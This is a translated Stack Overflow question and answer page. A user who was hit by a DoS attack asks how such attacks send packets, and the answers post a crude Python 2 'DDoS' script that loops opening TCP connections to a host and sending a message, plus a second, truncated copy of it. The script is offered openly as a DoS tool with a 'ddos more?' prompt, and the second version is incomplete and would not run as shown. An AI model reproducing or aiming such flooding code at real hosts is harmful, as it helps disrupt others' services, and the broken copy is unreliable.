嗯,我最近被DoS攻击了,我需要了解一些事情。
我知道,如果有人在HTTP服务器上发起攻击,他或她会发送HTTP请求,使连接不会超时,并使服务器正常工作。我的问题是,攻击互联网协议地址的DoS攻击者该怎么办?它们会发送哪种类型的数据包?我想看看它是如何在代码中完成的。
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target", 80)) #Hopefully port 80 is an open port
s.send("Some sort of packet that would request the server to do 'work'")在这个问题之后,如果所有端口都关闭了,攻击者将如何攻击您?(防火墙)它们是否会改为UDP协议,并通过那里的s.send?因为对于一个好的DoS攻击来说,仅仅使用连接数据包(s.connect)是不够的。
我的问题是。DoS是如何很好地填充IP服务器上的连接的?为什么?如果我感到困惑,请告诉我为什么。
发布于 2014-12-10 11:20:44
import time, socket, os, sys, string
def restart_program():
python = sys.executable
os.execl(python, python, * sys.argv)
curdir = os.getcwd()
print ("DDoS mode loaded")
host="127.0.0.1"
port=80
message="+---------------------------+"
conn=100
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
#pid = os.fork()
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((host, port))
ddos.send( message )
ddos.sendto( message, (ip, port) )
ddos.send( message );
except socket.error, msg:
print("|[Connection Failed] |")
print ( "|[DDoS Attack Engaged] |")
ddos.close()
for i in range(1, conn):
dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
answer = raw_input("Do you want to ddos more?")
if answer.strip() in "y Y yes Yes YES".split():
restart_program()
else:
print "bye"找到此代码的位置:Getting error when my python ddos script running
修复了一些错误..
发布于 2014-10-13 20:28:33
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
#pid = os.fork()
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((host, 80))
ddos.send( message )
ddos.sendto( message, (ip, port) )
ddos.send( message );
except socket.error, msg:
print("|[Connection Failed] |")
print ( "|[DDoS Attack Engaged] |")
ddos.close()
for i in range(1, conn):
dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
answer = raw_input("Do you want to ddos more?")
if answer.strip() in "y Y yes Yes YES".split():
restart_program()
else:
os.system(curdir+"Deqmain.py")
HOPE THIS HELPS!https://stackoverflow.com/questions/26339708
复制相似问题